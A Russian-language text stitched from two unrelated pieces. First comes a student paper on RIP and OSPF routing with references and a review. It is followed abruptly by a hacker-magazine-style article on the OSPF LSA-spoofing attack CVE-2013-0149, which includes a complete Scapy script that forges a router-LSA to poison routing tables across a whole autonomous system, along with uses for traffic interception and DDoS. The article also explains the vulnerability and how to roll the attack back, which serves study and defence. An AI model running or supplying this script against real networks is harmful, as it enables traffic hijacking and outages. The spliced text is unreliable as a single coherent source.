В современных сетевых средах RIP — не самое лучшее решение для выбора в качестве протокола маршрутизации, так как его возможности уступают более современным протоколам, таким как EIGRP, OSPF. Ограничение на 15 хопов не дает применять его в больших сетях.

Преимущество этого протокола — простота конфигурирования.

Недостатки - увеличение трафика при периодической рассылке широковещательных пакетов и не оптимальность найденного маршрута.

Работа протокола RIP

Для каждой записи в таблице маршрутов существует время жизни, контролируемое таймером. Если для любой конкретной сети, внесенной в таблицу маршрутов, в течение 180 с не получен вектор расстояний, подтверждающий или устанавливающий новое расстояние до данной сети, то сеть будет отмечена как недостижимая (расстояние равно бесконечности). Через определенное время модуль RIP производит «сборку мусора» - удаляет из таблицы маршрутов все сети, расстояние до которых бесконечно.

При получении сообщения типа «ответ» для каждого содержащегося в нем элемента вектора расстояний модуль RIP выполняет следующие действия:

· проверяет корректность адреса сети и маски, указанных в сообщении;

· проверяет, не превышает ли метрика (расстояние до сети) бесконечности;

· некорректный элемент игнорируется;

· если метрика меньше бесконечности, она увеличивается на 1;

· производится поиск сети, указанной в рассматриваемом элементе вектора расстояний, в таблице маршрутов;

· если запись о такой сети в таблице маршрутов отсутствует и метрика в полученном элементе вектора меньше бесконечности, сеть вносится в таблицу маршрутов с указанной метрикой; в поле «Следующий маршрутизатор» заносится адрес маршрутизатора, приславшего сообщение; запускается таймер для этой записи в таблице;

· если искомая запись присутствует в таблице с метрикой больше, чем объявленная в полученном векторе, в таблицу вносятся новые метрика и, соответственно, адрес следующего маршрутизатора; таймер для этой записи перезапускается;

· если искомая запись присутствует в таблице и отправителем полученного вектора был маршрутизатор, указанный в поле «Следующий маршрутизатор» этой записи, то таймер для этой записи перезапускается; более того, если при этом метрика в таблице отличается от метрики в полученном векторе расстояний, в таблицу вносится значение метрики из полученного вектора;

· во всех прочих случаях рассматриваемый элемент вектора расстояний игнорируется.

Сообщения типа «ответ» рассылаются модулем RIP каждые 30 сек. по широковещательному или мультикастинговому (только RIP_2) адресу; рассылка «ответа» может происходить также вне графика, если маршрутная таблица была изменена (triggered response). Стандарт требует, чтобы triggered response рассылался не немедленно после изменения таблицы маршрутов, а через случайный интервал длительностью от 1 до 5 с. Эта мера позволяет несколько снизить нагрузку на сеть.

В каждую из сетей, подключенных к маршрутизатору, рассылается свой собственный вектор расстояний, построенный с учетом дополнения 1 (1А), сформулированного выше в п. 4.2.1. Там, где это возможно, адреса сетей агрегируются (обобщаются), то есть несколько подсетей с соседними адресами объединяются под одним, более общим адресом с соответствующим изменением маски.

В случае triggered response посылается информация только о тех сетях, записи о которых были изменены.

Информация о сетях с бесконечной метрикой посылается только в том случае, если она была недавно изменена.

При получении сообщения типа «запрос» с адресом 0.0.0.0 маршрутизатор рассылает в соответствующую сеть обычное сообщение типа ответ. При получении запроса с любым другим значением в поле (полях) «IP Address» посылается ответ, содержащий информацию только о сетях, которые указаны. Такой ответ посылается на адрес запросившего маршрутизатора (не широковещательно).

Выводы

  • Протокол RIP является наиболее заслуженным и распространенным протоколом маршрутизации сетей TCP/IP. Несмотря на его простоту, определенную использованием дистанционно-векторного алгоритма, RIP успешно работает в.небольших сетях с количеством промежуточных маршрутизаторов не более 15.
  • RIP-маршрутизаторы при выборе маршрута обычно используют самую простую метрику - количество промежуточных маршрутизаторов между сетями, то есть хопов.
  • Версия RIPvl не распространяет маски подсетей, что вынуждает администраторов использовать маски фиксированной длины во всей составной сети. В версии RIPv2 это ограничение снято.
  • В сетях, использующих RIP и имеющих петлевидные маршруты, могут наблюдаться достаточно длительные периоды нестабильной работы, когда пакеты зацикливаются в маршрутных петлях и не доходят до адресатов. Для борьбы с этими явлениями в RIP-маршрутизаторах предусмотрено несколько приемов (Split Horizon, Hold Down, Triggered Updates), которые сокращают в некоторых случаях периоды нестабильности.
  • Протокол OSPF был разработан для эффективной маршрутизации IP-пакетов в больших сетях со сложной топологией, включающей петли. Он основан на алгоритме состояния связей, который обладает высокой устойчивостью к изменениям топологии сети.
  • При выборе маршрута OSPF-маршрутизаторы используют метрику, учитывающую пропускную способность составных сетей.
  • Протокол OSPF является первым протоколом маршрутизации для IP-сетей, который учитывает биты качества обслуживания (пропускная способность, задержка и надежность) в заголовке IP-пакета. Для каждого типа качества обслуживания строится отдельная таблица маршрутизации.
  • Протокол OSPF обладает высокой вычислительной сложностью, поэтому чаще всего работает на мощных аппаратных маршрутизаторах

Библиографический список:


1.Сайт Juniper [электронный ресурс] URL:https://www.juniper.net/techpubs/en_US/junos11.4/information-products/pathway-pages/config-guide-ospf/config-guide-ospf.html#overview (дата обращения: 29.11.2013)
2. Сайт Juniper [электронный ресурс]
URL:http://www.juniper.net/techpubs/en_US/junos/topics/topic-map/rip-basic.html (дата обращения: 26.11.2013).
3. Протокол OSPF[электронный ресурс]
URL:http://ru.wikipedia.org/wiki/OSPF (дата обращения: 24.11.2013).

Рецензии:

30.11.2013, 3:13 Назарова Ольга Петровна
Рецензия : Хорошее изложение материала. Рекомендуется к печати.

OSPF - это, пожалуй, самый распространенный протокол динамической маршрутизации. Чем крупнее предприятие, чем больше в нем подсетей, удаленных филиалов и представительств, тем выше вероятность встретить там OSPF. Его ценят за минимум служебного трафика, достаточно высокую скорость сходимости и неплохую масштабируемость. Долгое время считалось, что протокол надежен и безопасен. Ведь даже при компрометации одного роутера атакующий мог оказать лишь небольшое и крайне ограниченное воздействие на остальные маршрутизаторы внутри автономной системы, так как не существовало возможности провести глобальные изменения по всем таблицам маршрутизации. Но недавно все изменилось - один-единственный пакет может изменить все, и этот эффект будет постоянным!

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Про маршрутизацию

Прежде чем начать повествование, давай немного освежим в памяти теорию. Для начала вспомним, что маршрутизация бывает двух типов: динамическая и статическая. Использование динамической маршрутизации позволяет избежать однообразного процесса добавления записей о маршрутах вручную и, соответственно, ошибок, связанных с этим процессом. Вместо этого протоколы динамической маршрутизации строят таблицы маршрутизации сами, автоматически, исходя из текущей конфигурации сети. Одним словом, это просто незаменимая технология, особенно когда сеть состоит не из трех маршрутизаторов, а хотя бы из тридцати. Кроме удобства, есть и другие плюсы. Например, отказоустойчивость. Имея сеть со статической маршрутизацией, достаточно непросто будет организовать резервные каналы, так как будет проблематично отслеживать доступность того или иного сегмента. Что касается протоколов маршрутизации, то они также делятся на две основные группы: междоменную маршрутизацию (Exterior gateway routing или Inter-AS) и внутридоменную (Interior gateway routing или Intra-AS). Самый известный представитель первой группы - это BGP, во вторую группу входит ряд протоколов - OSPF, IS-IS, EIGRP и практически мертвый RIP. Группу маршрутизаторов, обменивающихся маршрутной информацией на основе общего протокола, называют автономной системой (Autonomous System, сокращенно AS - эта аббревиатура дальше будет довольно часто появляться в статье). Вот, пожалуй, и все, что нам потребуется знать для начала.

OSPF в деталях

Как уже говорилось, OSPF - один из распространенных протоколов динамической маршрутизации. Но как же он работает? Маршрутизатор OSPF обнаруживает соседей, устанавливает отношения смежности и затем поддерживает соседство, используя протокол Hello. В пакетах этого протокола содержатся значения Router Priority (для выбора DR) и HelloInterval (интервал между пакетами Hello). Также указывается, как часто должно быть слышно соседа для определения его работоспособности (RouterDeadInterval). Значения HelloInterval и RouterDeadInterval должны быть идентичны для всех маршрутизаторов.

Перед тем как интерфейс начнет работать, проверяется наличие в сети маршрутизатора DR. DR (designated router) - это выделенный маршрутизатор, который выполняет две задачи: генерирует анонсы network-LSA (эти LSA содержат список маршрутизаторов, подключенных в данный момент к сети) и является смежным для всех остальных маршрутизаторов (в случае выхода из строя его функции берет на себя BDR - backup designated router). Если такой маршрутизатор уже задан, он принимается независимо от значения Router Priority. Если же маршрутизатор DR еще не назначен, им становится данный маршрутизатор, при условии, что он имеет наивысшее значение Router Priority.

Затем маршрутизатор описывает свою базу каналов, посылая соседу последовательность пакетов Database Description. Такой процесс обмена пакетами Database Description называется обменом базами данных (Database Exchange Process). После завершения процесса Database Exchange и выполнения всех запросов Link State базы данных синхронизированы и маршрутизаторы маркируются как смежные (fully adjacent). С этого момента отношения смежности являются полными и начинают анонсироваться router-LSA (объявления о состоянии каналов маршрутизатора).

LSA анонсируется каждые 30 минут (за это отвечает архитектурная константа LSRefreshTime), при этом каждый последующий LSA имеет больший sequence number, чем предыдущий. Разумеется, LSA с большим номером замещает тот, что с меньшим. Эти LSA расходятся по всей автономной системе путем так называемого флуда. Роутер, получивший LSA от одного из соседей, пересылает его всем остальным своим соседям, таким образом, каждый маршрутизатор составляет базу LSA DB.

На основе базы каналов каждый маршрутизатор строит дерево кратчайших путей, корнем которого является он сам. Это дерево содержит маршруты ко всем адресатам внутри AS. Маршрутная информация внешнего происхождения представляется как листья дерева. Дерево включает путь к любой сети или хосту. Но при пересылке пакетов адресату используется только следующий маршрутизатор (next hop).

Погрузимся еще глубже

А теперь познакомимся поближе с заголовком LSA (см. рис. 1). В рамках данной статьи нас будет интересовать LSA первого типа (type 1 или router-LSA). Он содержит поля type , Link State ID и Advertising Router . Комбинация этих трех полей уникальна для LSA.


Значение Link State ID определяет канал и обычно равно Router ID . Router ID (идентификатор маршрутизатора) - это 32-битовое число, которое идентифицирует маршрутизатор в пределах одной автономной системы. Этот идентификатор является уникальным в масштабе AS. Одним из вариантов идентификатора может служить наименьший из IP-адресов маршрутизатора.

Поле Advertising Router содержит идентификатор OSPF Router ID маршрутизатора, создавшего LSA. Для router-LSA это поле совпадает с полем Link State ID (обрати внимание, это очень важная информация из RFC, которая понадобится нам далее).

Sequence number (порядковый номер) - это 32-разрядное целое число со знаком, которое используется для обнаружения старых LSA и дубликатов. Пространство порядковых номеров линейно упорядочено, и больший порядковый номер соответствует более новой записи LSA. InitialSequenceNumber используется в качестве порядкового номера (LS Sequence Number) при создании первого анонса LSA и составляет 0x80000001 , а MaxSequenceNumber - это максимальное значение порядкового номера LSA и равняется 0x7fffffff (целое число со знаком).

Прием каждого нового анонса LSA должен подтверждаться. Для этого используются пакеты Link State Acknowledgment (LSAck). Но перед этим происходит несколько проверок. Если состояние соседа, приславшего пакеты, ниже Exchange, то LSAck отбрасываются.

Удаление LSA из базы данных маршрутизатора происходит в нескольких случаях. Это может быть перезапись более новым экземпляром во время флуда, ситуация, когда маршрутизатор сам генерирует новый пакет LSA или же запись удаляется в результате устаревания.

Защита OSPF

При обмене данными между маршрутизаторами протокол OSPF может использовать аутентификацию, для того чтобы гарантировать, что только доверенные роутеры могли участвовать в процессе маршрутизации. Заголовок OSPF-пакета включает поле типа аутентификации и 64-битовое поле данных, используемое соответствующей типу схемой аутентификации. Тип аутентификации может задаваться для каждого интерфейса (или, что эквивалентно, для сети/подсети). Определены три типа аутентификации - 0, 1 и 2:

  • 0 - без аутентификации (Null authentication);
  • 1 - простой пароль;
  • 2 - криптографическая аутентификация.

Криптографическая аутентификация считается достаточно устойчивой к раскрытию информации и обеспечивает надежную защиту от активных атак. При ее использовании каждый маршрутизатор добавляет цифровую подпись (message digest) к передаваемому пакету. На принимающей стороне для проверки аутентичности пакетов используется открытый ключ и цифровая подпись из принятого пакета OSPF. Уровень безопасности при криптографической аутентификации полностью определяется используемым алгоритмом (в настоящее время спецификация включает только алгоритм MD5) и качеством используемых ключей. Ни один из типов аутентификации OSPF не обеспечивает конфиденциальности и не предотвращает возможность анализа трафика.

Механизм fight back

Обычно получение своих же (self-originated) LSA-анонсов маршрутизатором вполне нормальное явление. Для их обнаружения он проверяет, чтобы поле Advertising Router в LSA совпадало с Router ID (это еще один важный момент, который поможет нам в дальнейшем). Если принятый self-originated пакет LSA оказывается новее последнего экземпляра, порожденного маршрутизатором, требуются специальные меры. В таком случае маршрутизатор устанавливает порядковый номер LSA на единицу больше, чем номер принятого анонса, и создает новый пакет LSA. Именно таким образом и работает механизм, который со временем получил неофициальное название fight back.

Если суммировать все сказанное, складывается впечатление, что с безопасностью OSPF протокола дела обстоят достаточно неплохо:

  • для каждого канала можно установить MD5-аутентификацию;
  • один LSA-пакет содержит только малую часть топологии сети;
  • отбрасывание LSA от неизвестных соседей;
  • механизм fight back.

Ранее известные атаки на OSPF

Протокол OSPF уже давно так или иначе подвергался разнообразным атакам. Это, например, была отправка собственных поддельных LSA - в случае контроля над одним маршрутизатором можно сгенерировать и отправить ложный LSA c заниженной стоимостью существующего соседа, в результате большой объем трафика пойдет через другой роутер, который может не справиться с нагрузкой. Такая атака, конечно, может принести некий результат, но все равно влияние будет незначительное.

Если же попытаться подделать LSA от другого роутера, то тут же сработает fight back механизм и атака будет нивелирована. Можно еще взять и анонсировать канал в сеть за пределами автономной системы. Но в таком случае это не повлияет на маршрутизацию внутри AS. Создать маршрутизатор-фантом? Тоже не вариант, так как OSPF выбрасывает LSA, пришедшие от неизвестных соседей.

Единственная атака, которая действительно могла пробить защиту, - это периодический инжект LSA-пакетов, постоянный и непрерывный. Но во-первых, это очень шумный вариант, а во-вторых, он достаточно непрост в реализации.

Поэтому и существовало мнение, что, даже если атакующий проник и захватил маршрутизатор, узнал MD5-пароли, он все равно не мог тотально влиять на всю AS.

OSPFv2 vs OSPFv3

Основные отличия OSPFv2 и OSPFv3 (помимо появившейся поддержки IPv6):

  • OSPFv3 включается на интерфейсах. Включение OSPF на интерфейсе автоматически создает процесс OSPF и соответствующую команду в конфигурационном файле;
  • анонсируются все сети, настроенные на интерфейсе;
  • новые типы LSA. Добавлены два новых типа LSA - Link LSA и Intra-Area Prefix LSA;
  • аутентификации в самом OSPFv3 нет. Используется аутентификация IPv6.

Выходим на исходную

Но недавно все изменилось. Если все прежние атаки приносили только незначительный эффект, влияя лишь на малую часть топологии, либо вызывали срабатывание защитных механизмов OSPF, либо были очень шумными, то представленная новая атака - скрытная, эффективная и приносит постоянные изменения по всей автономке. К ней потенциально уязвимы все вендоры, но на данный момент были подтверждены только Cisco и Juniper.


Давай взглянем на схему сети, которую мы будем атаковать (рис. 3). Для простоты положим, что мы имеем кольцо из маршрутизаторов и контролируем роутер R1. А в качестве жертвы выберем, допустим, роутер R10. Конечно, в нашем примере топология сети сильно упрощена, в реальных условиях обычно используется гораздо больше избыточных связей и маршрутизаторов, но для демонстрации атаки нам этого вполне хватит.

INFO

Концепт атаки был продемонстрирован на Black Hat USA 2013. Авторы: Gabi Nakibly, Eitan Menahem, Ariel Waizel и Yuval Elovici. Свои исследования протокола OSPF они начали еще в 2011 году, попутно проведя серию нескольких новых атак, которые, тем не менее, были сложнее в реализации и не обладали такой мощью, как данная атака.

Прицеливаемся

А теперь опять вернемся к заголовку LSA, точнее, к двум его полям: Link State ID и Advertising Router . Согласно RFC, только сам роутер может создавать свои собственные LSA, следовательно, эти два поля должны быть с одинаковым значением. Но OSPF не проверяет их на равенство. Кроме того, как мы уже знаем, механизм fight back срабатывает, только если эти поля одинаковы.

В итоге получается, что для того, чтобы успешно провести атаку, нужно отправить LSA (первого типа, router-LSA) со значением link state id = ID роутера жертвы и с advertising router = любому значению, отличному от ID роутера жертвы. Если этот ложный LSA будет иметь sequence number выше, чем sequence number текущеей правильной LSA, то поддельная LSA не только появится в DB на всех маршрутизаторах, но и заменит собой правильные LSA.

В итоге все таблицы маршрутизации на всех роутерах будут отравлены. Причем это постоянное явление, чтобы вернуть все как было, придется либо откатить атаку, либо вручную заходить на все маршрутизаторы и заново инициализировать процесс ospf. По сути, для проведения атаки даже не требуется полного контроля над каким-либо роутером в сети - достаточно всего лишь заинжектить один LSA-пакет в сеть так, чтобы любой маршрутизатор из сети принял его.

Подготовим вооружение

Ну что ж, пришло время применить все вышесказанное на практике. Прежде всего для проведения атаки нам понадобится утилита для пакет-крафтинга, например Scapy. Это крайне мощный инструмент, который позволяет вручную собирать пакеты уровень за уровнем, используя интерпретатор Python’а. После установки изначально Scapy не умеет работать с OSPF. Если выполнить load_contrib("ospf") , то будет выдано сообщение об ошибке: ERROR: No module named contrib.ospf . Поэтому необходимо дополнительно установить модуль ospf . Скачиваем его и попутно создаем каталог contrib:

Mkdir /usr/lib/python2.7/dist-packages/scapy/contrib

Затем переносим модуль в свежесозданный каталог:

Cp ospf.py /usr/lib/python2.7/dist-packages/scapy/contrib/

Теперь если зайти в scapy и просмотреть список подключенных модулей, то можно увидеть, что он успешно установлен:

# scapy >>> list_contrib() ospf: OSPF status=loads >>>

Казалось бы, это все, но не тут-то было. При попытке подгрузить ospf-модуль получаем следующую ошибку:

>>> load_contrib("ospf") ERROR: No module named contrib.ospf

Чтобы избавиться от нее, нужно создать скрипт инициализации:

Touch /usr/lib/python2.7/dist-packages/scapy/contrib/__init__.py

После этого Scapy полностью готов для работы с OSPF.

One shot, MANY hits

Теперь настало время перейти к созданию скрипта, который, отправляя всего один пакет, позволит получить контроль над всей AS. Сначала подключим все необходимые модули и отключим протокол IPv6:

#!/usr/bin/env python import scapy.config scapy.config.conf.ipv6_enabled = False from scapy.all import * load_contrib("ospf")

Затем зададим значения переменных, IP-адрес подконтрольного атакующему роутера, жертвы и, самое главное, Advertising Router (falseadv router), который не должен совпадать со значением router ID (victimrouter id):

Attacker_source_ip = "192.168.10.111" attacker_router_id = "192.168.10.101" victim_destination_ip = "192.168.10.60" victim_router_id = "192.168.10.6" false_adv_router = "192.168.47.47" seq_num = 0x80000700

Теперь собираем сам LSA-пакет, переменные будут подставлены автоматически:

FALSE_LSA = IP(src=attacker_source_ip, dst=victim_destination_ip)/ OSPF_Hdr(src=attacker_router_id)/ OSPF_LSUpd(lsalist=[ OSPF_Router_LSA(options=0x22, type=1, id=victim_router_id, adrouter=false_adv_router, seq=seq_num, linklist=[ OSPF_Link(id="192.168.10.7", data="192.168.10.60", type=2, metric=1), OSPF_Link(id="192.168.10.60", data="192.168.10.60", type=2, metric=1), OSPF_Link(id="192.168.50.0", data="255.255.255.0", type=3, metric=3)])])

И завершается скрипт функцией send, которая выбрасывает собранный пакет в сеть через указанный интерфейс:

Send(FALSE_LSA, iface="eth0")

Как видно, все достаточно просто. Достаточно его выполнить (# python hitOSPF.py), и несколько секунд спустя волна изменений пробежит по всему домену маршрутизации.

Что дает контроль над всей автономкой?

Контролируя всю автономную систему, можно как угодно управлять потоками трафика, например направлять их в черные дыры (black hole) или перенаправить часть трафика через подконтрольный атакующему маршрутизатор. Все это затем можно использовать для захвата и изучения интересующего трафика, к которому ранее не было доступа, не говоря уже про всевозможные сценарии DDoS-атак.

Одним из самых интересных вариантов видится как раз перенаправление трафика по другому маршруту. Выбросив маршрутизатор-жертву из общего процесса маршрутизации, можно заставить остальные роутеры пересчитать свои таблицы маршрутизации, и таким образом атакующий сможет наблюдать за гораздо большим объемом трафика, а в некоторых случаях и получить уникальный и не доступный никаким способом трафик.

INFO

Данная уязвимость получила свой номер CVE-2013-0149. В официальном отчете Cisco сообщается, что PSIRT (Cisco Product Security Incident Response Team) не опасаются какого-либо публичного раскрытия или использования этой уязвимости. Видимо, они все же немного ошиблись.

Возвращаем все на свои места

Чтобы откатить атаку, достаточно отправить еще один поддельный LSA-пакет, но в этот раз со значением Advertising Router , равным ID роутера жертвы. Причем у этого LSA должен быть больший sequence number, чем во время атаки. В таком случае запустится механизм fight back и все восстановится, причем у всех маршрутизаторов в AS.

Собираем гильзы

Пришло время подвести итоги. Как видишь, получив доступ к одному маршрутизатору, можно контролировать весь домен маршрутизации. Для этого не требуется каких-то особых условий, компрометации нескольких устройств или работы более одного атакующего. Оказалось, что практически все вендоры уязвимы к этой атаке, вероятно, потому, что никто не ожидал такого сценария. Как минимум Cisco и Juniper анонсировали Security Advisories и пофиксили уязвимость. Но очевидно, что тысячи и сотни тысяч устройств так и останутся уязвимыми. И даже не потому, что у многих компаний нет четкой политики обновления и своевременной установки патчей (хотя и это тоже), а потому, что по-прежнему в строю много старого оборудования, которое зачастую невозможно обновить, например из-за недостаточного объема карт памяти.